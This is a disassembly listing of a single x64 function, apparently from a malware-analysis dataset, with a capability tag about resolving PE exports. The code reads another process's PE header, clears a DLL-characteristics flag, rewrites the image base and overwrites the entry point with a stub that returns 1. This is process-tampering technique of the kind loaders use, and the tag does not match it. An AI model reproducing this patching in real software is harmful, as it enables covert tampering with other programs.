Function at 0x180004f60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push rsi
push r14
sub rsp, 0xa0
mov qword [rax + 0x10], rdi
xor ebp, ebp
mov qword [rax + 0x20], r12
mov rdi, rdx
mov qword [rax - 0x28], r15
xor r8d, r8d
mov r15, rcx
xor edx, edx
mov rcx, qword [0x18002ba00]
mov esi, ebp
mov rcx, qword [rcx + 0xf8]
call fcn.180002ff0
mov rcx, qword [0x18002ba00]
lea r8d, [rbp + 3]
mov qword [rsp + 0x28], 0x400
mov r9, rax
xor edx, edx
mov dword [rsp + 0x20], 8
mov rcx, qword [rcx + 0x20]
call fcn.180002ff0
mov rcx, qword [0x18002ba00]
lea r8d, [rbp + 4]
mov qword [rsp + 0x30], rbp
mov r9, r15
mov qword [rsp + 0x28], rbp
xor edx, edx
mov r14, rax
mov qword [rsp + 0x20], rbp
mov rcx, qword [rcx + 0x188]
call fcn.180002ff0
mov rcx, qword [0x18002ba00]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rbp
lea r8d, [rbp + 9]
mov qword [rsp + 0x50], rbp
xorps xmm0, xmm0
mov dword [rsp + 0x48], 0x400
mov r9, r15
mov rcx, qword [rcx + 0x50]
xor edx, edx
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
movups xmmword [rsp + 0x60], xmm0
call fcn.180002ff0
lea r12d, [rbp - 1]
cmp eax, 0x103
jne 0x180005081
mov rcx, qword [0x18002ba00]
lea r8d, [rbp + 3]
mov qword [rsp + 0x28], rbp
mov r9, r15
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, qword [rcx + 0xb0]
call fcn.180002ff0
mov rcx, rax
mov eax, r12d
test ecx, ecx
cmovns eax, ecx
test eax, eax
js 0x1800052e6
cmp dword [rsp + 0x68], 0x400
jne 0x1800052e6
mov rcx, qword [0x18002ba00]
mov eax, 0xffbf
mov qword [rsp + 0xc0], rbx
xor edx, edx
movsxd rbx, dword [r14 + 0x3c]
mov r9, r15
add rbx, r14
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
lea r8d, [rdx + 4]
mov qword [rsp + 0x20], rbp
and word [rbx + 0x5e], ax
mov qword [rbx + 0x30], rdi
mov qword [rbx + 0xb0], rbp
mov qword [rbx + 0xd0], rbp
mov rcx, qword [rcx + 0x188]
call fcn.180002ff0
mov rcx, qword [0x18002ba00]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rbp
xor edx, edx
mov qword [rsp + 0x50], rbp
xorps xmm0, xmm0
mov dword [rsp + 0x48], 0x400
mov r9, r15
mov rcx, qword [rcx + 0x58]
mov qword [rsp + 0x40], r14
lea r8d, [rdx + 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
movups xmmword [rsp + 0x70], xmm0
call fcn.180002ff0
cmp eax, 0x103
jne 0x180005175
mov rcx, qword [0x18002ba00]
xor edx, edx
mov qword [rsp + 0x28], rbp
mov r9, r15
mov qword [rsp + 0x20], rbp
mov rcx, qword [rcx + 0xb0]
lea r8d, [rdx + 3]
call fcn.180002ff0
mov rcx, rax
mov eax, r12d
test ecx, ecx
cmovns eax, ecx
test eax, eax
js 0x1800052de
cmp dword [rsp + 0x78], 0x400
jne 0x1800052de
mov dword [rsp + 0xd0], 0x1c0c748
mov r11d, ebp
mov dword [rsp + 0xd4], 0xc3000000
movsxd rdi, dword [r14 + 0x3c]
mov ebx, dword [rbx + 0x28]
add rdi, r14
mov qword [rsp + 0x98], r13
movzx r13d, word [rdi + 0x14]
movzx eax, word [rdi + 6]
add r13, rdi
cmp bp, ax
jae 0x180005201
xor r9d, r9d
lea r8, [r13 + 0x28]
nop
mov r10d, dword [r8 - 4]
cmp ebx, r10d
jb 0x1800051f2
mov ecx, dword [rdi + 0x38]
mov edx, dword [r8]
dec edx
add edx, ecx
neg ecx
and edx, ecx
add edx, r10d
cmp ebx, edx
jb 0x18000534c
inc r11d
inc r9
add r8, 0x28
cmp r9, rax
jl 0x1800051d0
mov eax, ebp
mov rcx, qword [0x18002ba00]
xor edx, edx
mov qword [rsp + 0x30], rbp
mov r9, r15
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], eax
mov rcx, qword [rcx + 0x188]
lea r8d, [rdx + 4]
call fcn.180002ff0
mov rcx, qword [0x18002ba00]
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x58], rbp
xor edx, edx
mov qword [rsp + 0x50], rbp
xorps xmm0, xmm0
mov dword [rsp + 0x48], 8
mov r9, r15
mov rcx, qword [rcx + 0x58]
mov qword [rsp + 0x40], rax
lea r8d, [rdx + 9]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
movups xmmword [rsp + 0x80], xmm0
call fcn.180002ff0
mov r13, qword [rsp + 0x98]
cmp eax, 0x103
jne 0x1800052ca
mov rcx, qword [0x18002ba00]
xor edx, edx
mov qword [rsp + 0x28], rbp
mov r9, r15
mov qword [rsp + 0x20], rbp
mov rcx, qword [rcx + 0xb0]
lea r8d, [rdx + 3]
call fcn.180002ff0
test eax, eax
cmovns r12d, eax
mov eax, r12d
test eax, eax
js 0x1800052de
cmp dword [rsp + 0x88], 8
mov eax, 1
cmove esi, eax
mov rbx, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x90]
mov r12, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xc8]
test r14, r14
je 0x18000533e
mov rcx, qword [0x18002ba00]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 0xf8]
call fcn.180002ff0
mov rcx, qword [0x18002ba00]
xor edx, edx
mov qword [rsp + 0x28], r14
mov r9, rax
mov qword [rsp + 0x20], rbp
mov rcx, qword [rcx + 0x28]
lea r8d, [rdx + 3]
call fcn.180002ff0
mov eax, esi
add rsp, 0xa0
pop r14
pop rsi
pop rbp
ret
movsxd rax, r11d
lea rcx, [rax + rax*4]
mov eax, dword [r13 + rcx*8 + 0x2c]
sub eax, dword [r13 + rcx*8 + 0x24]
add eax, ebx
jmp 0x180005203